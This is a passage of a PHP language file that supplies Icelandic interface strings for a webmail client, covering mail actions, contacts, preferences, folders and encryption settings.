$labels['listoptionstitle'] = 'Valkostir lista';
$labels['mailboxlist'] = 'Möppur';
$labels['messagesfromto'] = 'Skilaboð $from til $to af $count';
$labels['threadsfromto'] = 'Skilaboðaþræðir $from til $to af $count';
$labels['messagenrof'] = 'Skilaboð $nr af $count';
$labels['fromtoshort'] = '$from - $to af $count';
$labels['copy'] = 'Afrit';
$labels['move'] = 'Færa';
$labels['moveto'] = 'Færa í...';
$labels['copyto'] = 'Afrita í...';
$labels['download'] = 'Sækja';
$labels['open'] = 'Opna';
$labels['showattachment'] = 'Birta';
$labels['showanyway'] = 'Birta það samt';
$labels['filename'] = 'Skráarheiti';
$labels['filesize'] = 'Skráarstærð';
$labels['addtoaddressbook'] = 'Bæta í nafnaskrá';
$labels['sun'] = 'sun.';
$labels['mon'] = 'mán.';
$labels['tue'] = 'þri.';
$labels['wed'] = 'mið.';
$labels['thu'] = 'fim.';
$labels['fri'] = 'fös.';
$labels['sat'] = 'lau.';
$labels['sunday'] = 'sunnudagur';
$labels['monday'] = 'mánudagur';
$labels['tuesday'] = 'þriðjudagur';
$labels['wednesday'] = 'miðvikudagur';
$labels['thursday'] = 'fimmtudagur';
$labels['friday'] = 'föstudagur';
$labels['saturday'] = 'laugardagur';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'apr';
$labels['may'] = 'maí';
$labels['jun'] = 'jún';
$labels['jul'] = 'júl';
$labels['aug'] = 'ágú';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nóv';
$labels['dec'] = 'des';
$labels['longjan'] = 'janúar';
$labels['longfeb'] = 'febrúar';
$labels['longmar'] = 'mars';
$labels['longapr'] = 'apríl';
$labels['longmay'] = 'maí';
$labels['longjun'] = 'júní';
$labels['longjul'] = 'júlí';
$labels['longaug'] = 'ágúst';
$labels['longsep'] = 'september';
$labels['longoct'] = 'október';
$labels['longnov'] = 'nóvember';
$labels['longdec'] = 'desember';
$labels['today'] = 'Í dag';
$labels['refresh'] = 'Endurhlaða';
$labels['checkmail'] = 'Athuga með ný skilaboð';
$labels['compose'] = 'Semja skilaboð';
$labels['writenewmessage'] = 'Búa til ný skilaboð';
$labels['reply'] = 'Svara';
$labels['replytomessage'] = 'Svara skilaboðum';
$labels['replytoallmessage'] = 'Svar til lista eða sendanda og allra viðtakenda';
$labels['replyall'] = 'Svara öllum';
$labels['replylist'] = 'Svar til lista';
$labels['forward'] = 'Áframsenda';
$labels['forwardinline'] = 'Áframsenda innan skilaboða';
$labels['forwardattachment'] = 'Áframsenda sem viðhengi';
$labels['forwardmessage'] = 'Áframsenda skilaboðin';
$labels['bouncemsg'] = 'Endursenda (bounce)';
$labels['bounce'] = 'Endursenda';
$labels['deletemessage'] = 'Eyða skilaboðum';
$labels['movemessagetotrash'] = 'Færa skilaboð í ruslið';
$labels['printmessage'] = 'Prenta þessi skilaboð';
$labels['previousmessage'] = 'Birta fyrri skilaboð';
$labels['firstmessage'] = 'Birta fyrstu skilaboð';
$labels['nextmessage'] = 'Birta næstu skilaboð';
$labels['lastmessage'] = 'Birta síðustu skilaboðin';
$labels['backtolist'] = 'Til baka í skilaboðalista';
$labels['viewsource'] = 'Skoða kóða';
$labels['mark'] = 'Merki';
$labels['markmessages'] = 'Merkja skilaboð';
$labels['markread'] = 'Sem lesið';
$labels['markunread'] = 'Sem ólesið';
$labels['markflagged'] = 'Sem flaggað';
$labels['markunflagged'] = 'Sem óflaggað';
$labels['markundeleted'] = 'Sem ekki eytt';
$labels['moreactions'] = 'Fleiri aðgerðir...';
$labels['markallread'] = 'Merkja allt sem lesið';
$labels['folders-cur'] = 'Aðeins valin mappa';
$labels['folders-sub'] = 'Valin mappa og undirmöppur hennar';
$labels['folders-all'] = 'Allar möppur';
$labels['more'] = 'Meira';
$labels['back'] = 'Til baka';
$labels['options'] = 'Valkostir';
$labels['composeoptions'] = 'Valkostir við samningu skilaboða';
$labels['optionsandattachments'] = 'Valkostir og viðhengi';
$labels['actions'] = 'Aðgerðir';
$labels['first'] = 'Fyrsta';
$labels['last'] = 'Síðasta';
$labels['previous'] = 'Fyrra';
$labels['next'] = 'Næsta';
$labels['select'] = 'Velja';
$labels['selection'] = 'Val';
$labels['all'] = 'Allt';
$labels['none'] = 'Ekkert';
$labels['currpage'] = 'Núverandi síða';
$labels['isread'] = 'Lesið';
$labels['unread'] = 'Ólesið';
$labels['flagged'] = 'Flaggað';
$labels['unflagged'] = 'Óflaggað';
$labels['unanswered'] = 'Ósvarað';
$labels['withattachment'] = 'Með viðhengi';
$labels['deleted'] = 'Eytt';
$labels['undeleted'] = 'Ekki eytt';
$labels['replied'] = 'Svarað';
$labels['forwarded'] = 'Áframsent';
$labels['invert'] = 'Umhverfa';
$labels['filter'] = 'Sía';
$labels['list'] = 'Listi';
$labels['threads'] = 'Þræðir';
$labels['expand-all'] = 'Þenja allt út';
$labels['expand-unread'] = 'Þenja ólesið';
$labels['collapse-all'] = 'Fella allt saman';
$labels['threaded'] = 'Þrætt';
$labels['showunread'] = 'Birta ólesin skilaboð';
$labels['autoexpand_threads'] = 'Þenja skilaboðaþræði út';
$labels['do_expand'] = 'allir þræðir';
$labels['expand_only_unread'] = 'aðeins ólesin skilaboð';
$labels['fromto'] = 'Frá/Til';
$labels['flag'] = 'Flagg';
$labels['attachment'] = 'Viðhengi';
$labels['nonesort'] = 'Ekkert';
$labels['sentdate'] = 'Sendingardagur';
$labels['arrival'] = 'Komudagur';
$labels['asc'] = 'hækkandi';
$labels['desc'] = 'lækkandi';
$labels['listcolumns'] = 'Listadálkar';
$labels['listsorting'] = 'Röðunardálkur';
$labels['listorder'] = 'Röðun';
$labels['listmode'] = 'Listayfirlit';
$labels['lmode'] = 'Listahamur';
$labels['layout'] = 'Framsetning';
$labels['layoutwidescreen'] = 'Breiðskjár';
$labels['layoutdesktop'] = 'Skjáborð';
$labels['layoutlist'] = 'Listi';
$labels['layoutwidescreendesc'] = 'Breiðskjár (3-dálka sýn)';
$labels['layoutdesktopdesc'] = 'Skjáborð (breiður listi með forskoðun fyrir neðan)';
$labels['layoutlistdesc'] = 'Listi (engin forskoðun á pósti)';
$labels['folderactions'] = 'Möppuaðgerðir...';
$labels['compact'] = 'Pakka';
$labels['empty'] = 'Tæma';
$labels['importmessages'] = 'Flytja inn skilaboð';
$labels['mailimportdesc'] = 'Þú getur sent inn póst með því að nota skrár með <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> eða <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> sniði.';
$labels['mailimportzip'] = 'Hægt er að þjappa mörgum skrám í ZIP-safnskrár.';
$labels['quota'] = 'Gagnamagn';
$labels['unknown'] = 'óþekkt';
$labels['unlimited'] = 'ótakmarkað';
$labels['quotatype'] = 'Tegund kvóta';
$labels['quotatotal'] = 'Takmarkað';
$labels['quotaused'] = 'Notað';
$labels['quotastorage'] = 'Diskpláss';
$labels['quotamessage'] = 'Fjöldi skilaboða';
$labels['shortheaderdate'] = 'Þann $date';
$labels['shortheaderto'] = 'Til $from þann $date';
$labels['shortheaderfrom'] = 'Frá $from þann $date';
$labels['quicksearch'] = 'Flýtileit';
$labels['searchplaceholder'] = 'Leita...';
$labels['resetsearch'] = 'Tæma leit';
$labels['searchmod'] = 'Leitarskilyrði';
$labels['msgtext'] = 'Öll skilaboðin';
$labels['body'] = 'Meginmál';
$labels['type'] = 'Tegund';
$labels['namex'] = 'Heiti';
$labels['searchscope'] = 'Umfang';
$labels['currentfolder'] = 'Núverandi mappa';
$labels['subfolders'] = 'Þessi og undirmöppur';
$labels['allfolders'] = 'Allar möppur';
$labels['searchinterval-1W'] = 'eldri en vikugömul';
$labels['searchinterval-1M'] = 'eldri en mánaðargömul';
$labels['searchinterval-1Y'] = 'eldri en ársgömul';
$labels['searchinterval1W'] = 'yngri en vikugömul';
$labels['searchinterval1M'] = 'yngri en mánaðargömul';
$labels['searchinterval1Y'] = 'yngri en ársgömul';
$labels['openinextwin'] = 'Opna í nýjum glugga';
$labels['emlsave'] = 'Sækja (.eml)';
$labels['changeformattext'] = 'Birta sem hreinan texta';
$labels['changeformathtml'] = 'Birta á HTML-sniði';
$labels['editasnew'] = 'Breyta sem nýju';
$labels['send'] = 'Senda';
$labels['sendmessage'] = 'Senda skilaboðin núna';
$labels['savemessage'] = 'Vista drög';
$labels['addattachment'] = 'Hengja við';
$labels['charset'] = 'Stafatafla';
$labels['editortype'] = 'Gerð ritils';
$labels['returnreceipt'] = 'Kvittun við lestur';
$labels['dsn'] = 'Afhendingarstaða';
$labels['keepformatting'] = 'Halda sniðum';
$labels['mailreplyintro'] = 'Þann $date, skrifaði $sender:';
$labels['originalmessage'] = 'Upprunaleg skilaboð';
$labels['selectimage'] = 'Veldu mynd';
$labels['addimage'] = 'Bæta við mynd';
$labels['selectmedia'] = 'Veldu myndskeið';
$labels['addmedia'] = 'Bæta við myndskeiði';
$labels['encrypt'] = 'Dulrita';
$labels['encryptmessage'] = 'Dulrita skilaboð';
$labels['encryptmessagemailvelope'] = 'Dulrita skilaboð með Mailvelope';
$labels['importpubkeys'] = 'Flytja inn dreifilykla';
$labels['encryptedsendialog'] = 'Sendi dulrituð skilaboð';
$labels['encryptandsign'] = 'Dulrita og undirrita';
$labels['keyid'] = 'Auðkenni lykils';
$labels['keylength'] = 'Bitar';
$labels['keyexpired'] = 'Útrunninn';
$labels['keyrevoked'] = 'Afturkallaður';
$labels['bccinstead'] = 'Nota BCC';
$labels['addheader'] = 'Bæta við viðtakanda (haus)';
$labels['insert'] = 'Setja inn';
$labels['insertcontact'] = 'Setja inn tengiliði';
$labels['recipient'] = 'Viðtakandi';
$labels['recipientedit'] = 'Breyting á viðtakanda';
$labels['editidents'] = 'Breyta persónuauðkennum';
$labels['spellcheck'] = 'Stafsetning';
$labels['checkspelling'] = 'Athuga stafsetningu';
$labels['resumeediting'] = 'Aftur í ritham';
$labels['revertto'] = 'Hverfa aftur til';
$labels['restore'] = 'Endurheimta';
$labels['restoremessage'] = 'Endurheimta skilaboð?';
$labels['ignore'] = 'Hunsa';
$labels['responses'] = 'Svör';
$labels['insertresponse'] = 'Setja inn svar';
$labels['manageresponses'] = 'Sýsla með svör';
$labels['newresponse'] = 'Búa til nýtt svar';
$labels['addresponse'] = 'Bæta við svari';
$labels['editresponse'] = 'Breyta svari';
$labels['editresponses'] = 'Breyta svörum';
$labels['responsename'] = 'Nafn';
$labels['responsetext'] = 'Texti svars';
$labels['attach'] = 'Viðhengi';
$labels['attachments'] = 'Viðhengi';
$labels['upload'] = 'Hlaða upp';
$labels['uploadprogress'] = '$percent ($current af $total)';
$labels['close'] = 'Loka';
$labels['messageoptions'] = 'Valkostir skilaboða...';
$labels['togglecomposeoptions'] = 'Víxla valkostum samningar af/á';
$labels['attachmentrename'] = 'Endurnefna viðhengi';
$labels['low'] = 'Lágt';
$labels['lowest'] = 'Lægst';
$labels['normal'] = 'Venjulegt';
$labels['high'] = 'Hátt';
$labels['highest'] = 'Hæst';
$labels['nosubject'] = '(án titils)';
$labels['showimages'] = 'Birta myndir';
$labels['allow'] = 'Leyfa';
$labels['alwaysshow'] = 'Alltaf birta myndir frá $sender';
$labels['alwaysallow'] = 'Alltaf leyfa frá $sender';
$labels['isdraft'] = 'Þetta eru drög að skilaboðum.';
$labels['andnmore'] = '$nr í viðbót...';
$labels['details'] = 'Nánar';
$labels['summary'] = 'Samantekt';
$labels['headers'] = 'Hausar';
$labels['allheaders'] = 'Allir hausar...';
$labels['togglemoreheaders'] = 'Birta fleiri skilaboðahausa';
$labels['togglefullheaders'] = 'Víxla hráum skilaboðahausum af/á';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Hreinn texti';
$labels['savesentmessagein'] = 'Vista send skilaboð í';
$labels['dontsave'] = 'ekki vista';
$labels['maxuploadsize'] = 'Leyfileg hámarksstærð skjals er $size';
$labels['addcc'] = 'Bæta við Cc';
$labels['addbcc'] = 'Bæta við Bcc';
$labels['addreplyto'] = 'Bæta við Reply-To';
$labels['addfollowupto'] = 'Nýtt svar við';
$labels['sendreceipt'] = 'Senda leskvittun?';
$labels['mdnrequest'] = 'Sendandi þessara skilaboða hefur óskað þess að þú látir vita að þú hafir lesið skilaboðin. Viltu láta hann vita?';
$labels['receiptread'] = 'Kvittun (lesa)';
$labels['yourmessage'] = 'Þetta er kvittun fyrir skilaboðin þín';
$labels['receiptnote'] = 'ATH: Þessi kvittun segir aðeins til um að skilaboðin komu upp á skjánum hjá viðtakanda. Það er engin sönnun um að hann hafi lesið þau eða skilið efni þeirra.';
$labels['sendalwaysto'] = 'Alltaf senda til $email';
$labels['zoomin'] = 'Renna að';
$labels['zoomout'] = 'Renna frá';
$labels['rotate'] = 'Snúa';
$labels['increaseimage'] = 'Auka stærð myndar';
$labels['decreaseimage'] = 'Minnka stærð myndar';
$labels['rotateimage'] = 'Snúa mynd';
$labels['showtools'] = 'Birta myndaverkfæri';
$labels['hidetools'] = 'Fela myndaverkfæri';
$labels['name'] = 'Skjánafn';
$labels['firstname'] = 'Eiginnafn';
$labels['surname'] = 'Eftirnafn';
$labels['middlename'] = 'Millinafn';
$labels['nameprefix'] = 'Forskeyti';
$labels['namesuffix'] = 'Viðskeyti';
$labels['nickname'] = 'Stuttnefni';
$labels['jobtitle'] = 'Starfstitill';
$labels['department'] = 'Deild';
$labels['gender'] = 'Kyn';
$labels['maidenname'] = 'Ættarnafn móður';
$labels['email'] = 'Netfang';
$labels['phone'] = 'Sími';
$labels['address'] = 'Heimilisfang';
$labels['street'] = 'Götuheiti';
$labels['locality'] = 'Staður';
$labels['zipcode'] = 'Póstnúmer';
$labels['region'] = 'Ríki/Fylki';
$labels['country'] = 'Land';
$labels['birthday'] = 'Afmælisdagur';
$labels['anniversary'] = 'Afmæli';
$labels['website'] = 'Vefur';
$labels['instantmessenger'] = 'IM-spjall';
$labels['notes'] = 'Glósur';
$labels['male'] = 'karlkyns';
$labels['female'] = 'kvenkyns';
$labels['manager'] = 'Stjórnandi';
$labels['assistant'] = 'Aðstoðarmaður';
$labels['spouse'] = 'Maki';
$labels['allfields'] = 'Öll svæði';
$labels['search'] = 'Leit';
$labels['searchresult'] = 'Leitarniðurstöður';
$labels['advsearch'] = 'Ítarleg leit';
$labels['advanced'] = 'Nánar';
$labels['other'] = 'Annað';
$labels['printcontact'] = 'Prenta tengilið';
$labels['qrcode'] = 'QR-kóði';
$labels['typehome'] = 'Heimasími';
$labels['typework'] = 'Vinnusími';
$labels['typeother'] = 'Annað';
$labels['typemobile'] = 'Farsími';
$labels['typemain'] = 'Aðalstillingar';
$labels['typehomefax'] = 'Heimafax';
$labels['typeworkfax'] = 'Vinnufax';
$labels['typecar'] = 'Bílsími';
$labels['typepager'] = 'Friðþjófur';
$labels['typevideo'] = 'Myndband';
$labels['typeassistant'] = 'Aðstoðarmaður';
$labels['typehomepage'] = 'Heimasíða';
$labels['typeblog'] = 'Blogg';
$labels['typeprofile'] = 'Mannlýsing';
$labels['addfield'] = 'Bæta við svæði...';
$labels['addcontact'] = 'Bæta við tengilið';
$labels['editcontact'] = 'Breyta tengilið';
$labels['contacts'] = 'Tengiliðir';
$labels['contactproperties'] = 'Eiginleikar tengiliðar';
$labels['contactnameandorg'] = 'Nafn og fyrirtæki/stofnun';
$labels['personalinfo'] = 'Persónulegar upplýsingar';
$labels['personal'] = 'Einka';
$labels['contactphoto'] = 'Mynd af tengilið';
$labels['edit'] = 'Breyta';
$labels['cancel'] = 'Hætta við';
$labels['save'] = 'Vista';
$labels['delete'] = 'Eyða';
$labels['discard'] = 'Henda';
$labels['continue'] = 'Halda áfram';
$labels['ok'] = 'Í lagi';
$labels['rename'] = 'Endurnefna';
$labels['addphoto'] = 'Bæta við';
$labels['replacephoto'] = 'Skipta út';
$labels['uploadphoto'] = 'Senda inn mynd';
$labels['choosefile'] = 'Veldu skrá...';
$labels['choosefiles'] = 'Veldu skrár...';
$labels['browse'] = 'Flakka';
$labels['newcontact'] = 'Búa til nýjan tengilið';
$labels['deletecontact'] = 'Eyða völdum tengiliðum';
$labels['composeto'] = 'Skrifa tölvupóst til';
$labels['contactsfromto'] = 'Tengiliðir $from til $to af $count';
$labels['print'] = 'Prenta';
$labels['export'] = 'Flytja út';
$labels['exportall'] = 'Flytja allt út';
$labels['exportsel'] = 'Flytja út valið';
$labels['exportvcards'] = 'Flytja út nafnspjöld á vCard formi';
$labels['newgroup'] = 'Búa til nýjan hóp';
$labels['addgroup'] = 'Bæta við hópi';
$labels['grouprename'] = 'Breyta nafni hóps';
$labels['groupdelete'] = 'Fjarlægja hóp';
$labels['groupassign'] = 'Úthluta í hóp...';
$labels['groupremove'] = 'Fjarlægja úr hópi';
$labels['groupremoveselected'] = 'Fjarlægja valda tengiliði úr hópi';
$labels['uponelevel'] = 'Upp um eitt stig';
$labels['previouspage'] = 'Birta fyrri síðu';
$labels['firstpage'] = 'Birta fyrstu síðu';
$labels['nextpage'] = 'Birta næstu síðu';
$labels['lastpage'] = 'Birta síðustu síðu';
$labels['group'] = 'Hópur';
$labels['groups'] = 'Hópar';
$labels['listgroup'] = 'Telja upp meðlimi hóps';
$labels['personaladrbook'] = 'Persónuleg heimilisföng';
$labels['searchsave'] = 'Vista leit';
$labels['searchdelete'] = 'Eyða leit';
$labels['import'] = 'Flytja inn';
$labels['importcontacts'] = 'Flytja inn nafnspjöld';
$labels['importfromfile'] = 'Flytja inn úr skrá';
$labels['importtarget'] = 'Bæta tengiliðum í';
$labels['importreplace'] = 'Skipta út allri netfangaskránni';
$labels['importgroups'] = 'Flytja inn verkefni hóps';
$labels['importgroupsall'] = 'Allt (búa til hópa ef þess þarf)';
$labels['importgroupsexisting'] = 'Aðeins fyrirliggjandi hópar';
$labels['importdesc'] = 'Þú getur sent inn tengiliði úr fyrirliggjandi nafnaskrá.<br/>Núna er stuðningur við innflutning vistfanga úr <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> eða CSV (kommu-aðgreind) gagnasniðum.';
$labels['importmapdesc'] = 'Staðfestu að upplýsingarnar hér fyrir neðan um vensl gagnasviða séu réttar áður en haldið er áfram með innflutning á CSV-sniði (kommu-aðgreint).';
$labels['fieldnotmapped'] = 'Gagnasvið ekki venslað (ekki flytja inn)';
$labels['skipheader'] = 'Ekki flytja inn fyrstu línuna (fyrirsagnir)';
$labels['done'] = 'Búið';
$labels['settingsfor'] = 'Stillingar fyrir';
$labels['about'] = 'Um forritið';
$labels['preferences'] = 'Stillingar';
$labels['userpreferences'] = 'Notendastillingar';
$labels['editpreferences'] = 'Breyta notendastillingum';
$labels['identities'] = 'Auðkenni';
$labels['manageidentities'] = 'Sýsla með auðkenni';
$labels['newidentity'] = 'Búa til nýtt auðkenni';
$labels['addidentity'] = 'Bæta við auðkenni';
$labels['editidentity'] = 'Breyta auðkenni';
$labels['identityencryption'] = 'Dulritun';
$labels['preferhtml'] = 'Birta HTML';
$labels['defaultcharset'] = 'Sjálfgefin stafatafla';
$labels['htmlmessage'] = 'HTML-skilaboð';
$labels['messagepart'] = 'Partur';
$labels['digitalsig'] = 'Stafræn undirritun';
$labels['dateformat'] = 'Snið dagsetningar';
$labels['timeformat'] = 'Tímasnið';
$labels['prettydate'] = 'Fallegar dagsetningar';
$labels['setdefault'] = 'Gera sjálfgilt';
$labels['autodetect'] = 'Sjálfvirkt';
$labels['language'] = 'Tungumál';
$labels['timezone'] = 'Tímabelti';
$labels['pagesize'] = 'Línur á síðu';
$labels['signature'] = 'Undirskrift';
$labels['dstactive'] = 'Sumar-/vetratími';
$labels['showinextwin'] = 'Opna skilaboð í nýjum glugga';
$labels['composeextwin'] = 'Semja í nýjum glugga';
$labels['htmleditor'] = 'Skrifa HTML-skilaboð';
$labels['htmlonreply'] = 'sem svar við HTML-skilaboðum';
$labels['htmlonreplyandforward'] = 'við áframsendingu eða svar við HTML-skilaboðum';
$labels['htmlsignature'] = 'HTML-undirskrift';
$labels['showemail'] = 'Birta tölvupóstföng með skjánafni';
$labels['previewpane'] = 'Birta forskoðunarglugga';
$labels['skin'] = 'Skinn á viðmóti';
$labels['logoutclear'] = 'Tæma rusl við útskráningu';
$labels['logoutcompact'] = 'Þjappa innhólf við útskráningu';
$labels['uisettings'] = 'Notandaviðmót';
$labels['serversettings'] = 'Stillingar þjóns';
$labels['mailboxview'] = 'Útlit pósthólfs';
$labels['mdnrequests'] = 'Við beiðni um kvittun skilaboða';
$labels['askuser'] = 'spyrja notanda';
$labels['autosend'] = 'senda kvittun';
$labels['autosendknown'] = 'senda kvittun til tengiliða minna, annars spyrja mig';
$labels['autosendknownignore'] = 'senda kvittun til tengiliða minna, annars hunsa';
$labels['autosendtrusted'] = 'senda kvittun til treystra tengiliða, annars spyrja mig';
$labels['autosendtrustedignore'] = 'senda kvittun til treystra tengiliða, annars hunsa';
$labels['ignorerequest'] = 'hunsa beiðni';
$labels['readwhendeleted'] = 'Merkja skilaboðin sem lesin þegar þeim er hent';
$labels['flagfordeletion'] = 'Merkja skilaboð til eyðingar í stað þess að eyða þeim';
$labels['skipdeleted'] = 'Ekki birta eydd skilaboð';
$labels['deletealways'] = 'Ef ekki er hægt að setja skilaboð í ruslafötuna, henda þeim';
$labels['deletejunk'] = 'Eyða skilaboðum beint úr ruslpóstmöppu';
$labels['showremoteimages'] = 'Birta fjartengdar innbyggðar myndir';
$labels['allowremoteresources'] = 'Leyfa fjartengd tilföng (myndir, stílar)';
$labels['fromknownsenders'] = 'frá þekktum sendendum';
$labels['fromtrustedsenders'] = 'frá treystum sendendum';
$labels['frommycontacts'] = 'frá tengiliðunum mínum';
$labels['always'] = 'alltaf';
$labels['alwaysbutplain'] = 'alltaf, nema þegar svarað er skilaboðum með hreinum texta';
$labels['showinlineimages'] = 'Birta viðhangandi myndir fyrir neðan skilaboðin';
$labels['autosavedraft'] = 'Vista sjálfkrafa sem drög';
$labels['everynminutes'] = 'á $n mínútna fresti';
$labels['refreshinterval'] = 'Endurhlaða (athuga með ný skilaboð, o.s.frv.)';
$labels['never'] = 'aldrei';
$labels['immediately'] = 'samstundis';
$labels['messagesdisplaying'] = 'Birting skilaboða';
$labels['messagescomposition'] = 'Semja skilaboð';
$labels['mimeparamfolding'] = 'Nöfn á viðhengjum';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (annað)';
$labels['force7bit'] = 'Nota MIME kóðun fyrir 8-bita stafi';
$labels['savelocalstorage'] = "Vista (tímabundið) í staðværri geymslu vafrans";
$labels['advancedoptions'] = 'Ítarlegir valkostir';
$labels['toggleadvancedoptions'] = 'Víxla ítarlegum valkostum af/á';
$labels['focusonnewmessage'] = 'Láta vafraglugga vera virkan á nýjum skilaboðum';
$labels['checkallfolders'] = 'Athuga með ný skilaboð í öllum möppum';
$labels['displaynext'] = 'Birta næstu færslu í lista eftir að skilaboðum er eytt/færð';
$labels['defaultfont'] = 'Sjálfgefið letur HTML-skilaboða';
$labels['mainoptions'] = 'Aðalstillingar';
$labels['browseroptions'] = 'Valkostir vafra';
$labels['section'] = 'Hluti';
$labels['maintenance'] = 'Viðhald';
$labels['newmessage'] = 'Ný skilaboð';
$labels['signatureoptions'] = 'Valkostir undirskriftar';
$labels['whenreplying'] = 'Þegar svarað';
$labels['replyempty'] = 'ekki taka tilvitnun úr upprunalegum skilaboðum';
$labels['replytopposting'] = 'hefja ný skilaboð fyrir ofan tilvitnun';
$labels['replytoppostingnoindent'] = 'hefja ný skilaboð fyrir ofan tilvitnun (enginn inndráttur)';
$labels['replybottomposting'] = 'hefja ný skilaboð fyrir neðan tilvitnun';
$labels['replyremovesignature'] = 'Þegar er svarað skal fjarlægja upphaflega undirskrift úr skilaboðum';
$labels['autoaddsignature'] = 'Bæta undirskrift við sjálfkrafa';
$labels['newmessageonly'] = 'eingöngu ný skilaboð';
$labels['replyandforwardonly'] = 'svör og áframsendingar eingöngu';
$labels['insertsignature'] = 'Bæta undirskrift við';
$labels['sigbelow'] = 'Setja undirskrift fyrir neðan tilvitnuð skilaboð';
$labels['sigseparator'] = 'Þvinga staðlaðan aðgreini í undirskriftum';
$labels['automarkread'] = 'Merkja skilaboð sem lesin';
$labels['afternseconds'] = 'eftir $n sekúndur';
$labels['reqmdn'] = 'Biðja ávallt um kvittun';
$labels['reqdsn'] = 'Biðja ávallt um sendingarstöðu';
$labels['replysamefolder'] = 'Setja svarskilaboð í möppuna þar sem upphafleg skilaboð eru';
$labels['defaultabook'] = 'Sjálfgefin nafnaskrá';
$labels['autocompletesingle'] = 'Sleppa aukanetföngum í sjálfklárun';
$labels['listnamedisplay'] = 'Lista tengiliði sem';
$labels['contactformmode'] = 'Hamur tengiliðaforms';
$labels['privatemode'] = 'Einka (Heima)';
$labels['businessmode'] = 'Vinna';
$labels['collectedaddresses'] = 'Söfnuð póstföng';
$labels['collectedrecipients'] = 'Safnaðir viðtakendur';
$labels['collectedrecipientsopt'] = 'Geyma viðtakendur útsends pósts í';
$labels['collectedsendersopt'] = 'Geyma treysta sendendur í';
$labels['trustedsenders'] = 'Treystir sendendur';
$labels['spellcheckbeforesend'] = 'Athuga stafsetningu áður en skilaboð eru send';
$labels['spellcheckoptions'] = 'Stafsetningarvalkostir';
$labels['spellcheckignoresyms'] = 'Hunsa orð með táknum';
$labels['spellcheckignorenums'] = 'Hunsa orð með tölum';
$labels['spellcheckignorecaps'] = 'Hunsa orð sem eru í hástöfum';
$labels['addtodict'] = 'Bæta við orðalista';
$labels['mailtoprotohandler'] = 'Skrá fyrir meðhöndlun mailto: links samskiptamáta';
$labels['standardwindows'] = 'Meðhöndla sprettglugga sem venjulega glugga';
$labels['forwardmode'] = 'Áframsending skilaboða';
$labels['inline'] = 'innfellt';
$labels['asattachment'] = 'sem viðhengi';
$labels['replyallmode'] = 'Sjálfgefin aðgerð [Svara öllum] hnappsins';
$labels['replyalldefault'] = 'svara öllum';
$labels['replyalllist'] = 'einungis svara póstlista (ef hann finnst)';
$labels['allmessages'] = 'öll skilaboð';
$labels['olderxdays'] = 'eldri en $x daga';
$labels['folder'] = 'Mappa';
$labels['folders'] = 'Möppur';
$labels['foldername'] = 'Nafn möppu';
$labels['subscribed'] = 'Valin';
$labels['messagecount'] = 'Skilaboð';
$labels['create'] = 'Búa til';
$labels['createfolder'] = 'Búa til nýja möppu';
$labels['managefolders'] = 'Sýsla með möppur';
$labels['specialfolders'] = 'Sérstakar möppur';
$labels['properties'] = 'Eiginleikar';
$labels['folderproperties'] = 'Eiginleikar möppu';
$labels['parentfolder'] = 'Yfirmappa';
$labels['location'] = 'Staðsetning';
$labels['info'] = 'Upplýsingar';
$labels['getfoldersize'] = 'Smelltu til að sjá stærð möppu';
$labels['changesubscription'] = 'Smelltu til að breyta áskrift';
$labels['foldertype'] = 'Möpputegund';
$labels['personalfolder'] = 'Einkamappa';
$labels['otherfolder'] = 'Möppur annara notenda';
$labels['sharedfolder'] = 'Opinber mappa';
$labels['findfolders'] = 'Finna möppur';
$labels['findcontacts'] = 'Finna tengiliði';
$labels['findmail'] = 'Finna póstskilaboð';
$labels['namespace.personal'] = 'Einka';
$labels['namespace.other'] = 'Annara notenda';
$labels['namespace.shared'] = 'Sameiginlegar';
$labels['dualuselabel'] = 'Getur aðeins innihaldið';
$labels['dualusemail'] = 'skilaboð';
$labels['dualusefolder'] = 'möppur';
$labels['generate'] = 'Útbúa';
$labels['encryptioncreatekey'] = 'Búa til nýtt lyklapar';
$labels['openmailvelopesettings'] = 'Opna stillingar Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Þú ert með $nr samsvarandi einkalykla sem geymdir eru í Mailvelope lyklageymslunni þinni:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Auðkenni þessa sendanda er ekki ennþá með PGP-einkalykil geymdan í Mailvelope-viðbótinni. Mydirðu vilja útbúa einn slíkann til að virkja dulritun skilaboða?';
$labels['encryption'] = 'Dulritun';
$labels['mailvelopeoptions'] = 'Mailvelope-valkostir';
$labels['mailvelopemainkeyring'] = 'Nota aðallyklakippu Mailvelope';
$labels['mailvelopenotfound'] = 'Mailvelope-viðbótin er ekki virk/uppsett í vafranum þínum.';
$labels['sortby'] = 'Raða eftir';
$labels['sortasc'] = 'Raða vaxandi';
$labels['sortdesc'] = 'Raða minnkandi';
$labels['undo'] = 'Taka til baka';
$labels['installedplugins'] = 'Uppsettar viðbætur';
$labels['plugin'] = 'Viðbætur';
$labels['version'] = 'Útgáfa';
$labels['source'] = 'Uppruni';
$labels['destination'] = 'Áfangastaður';
$labels['license'] = 'Notkunarleyfi';
$labels['support'] = 'Fá aðstoð';
$labels['savedsearches'] = 'Vistaðar leitir';
$labels['dateformatY'] = 'ÁÁÁÁ';
$labels['dateformaty'] = 'ÁÁ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Enska';
$labels['westerneuropean'] = 'Vesturevrópskt';
$labels['easterneuropean'] = 'Austurevrópskt';
$labels['southeasterneuropean'] = 'Suðausturevrópskt';
$labels['baltic'] = 'Eystrasalts';
$labels['cyrillic'] = 'Kýrílískt';
$labels['arabic'] = 'Arabískt';
$labels['greek'] = 'Grískt';
$labels['hebrew'] = 'Hebreskt';
$labels['turkish'] = 'Tyrkneskt';
$labels['nordic'] = 'Norrænt';
$labels['thai'] = 'Tælenskt';
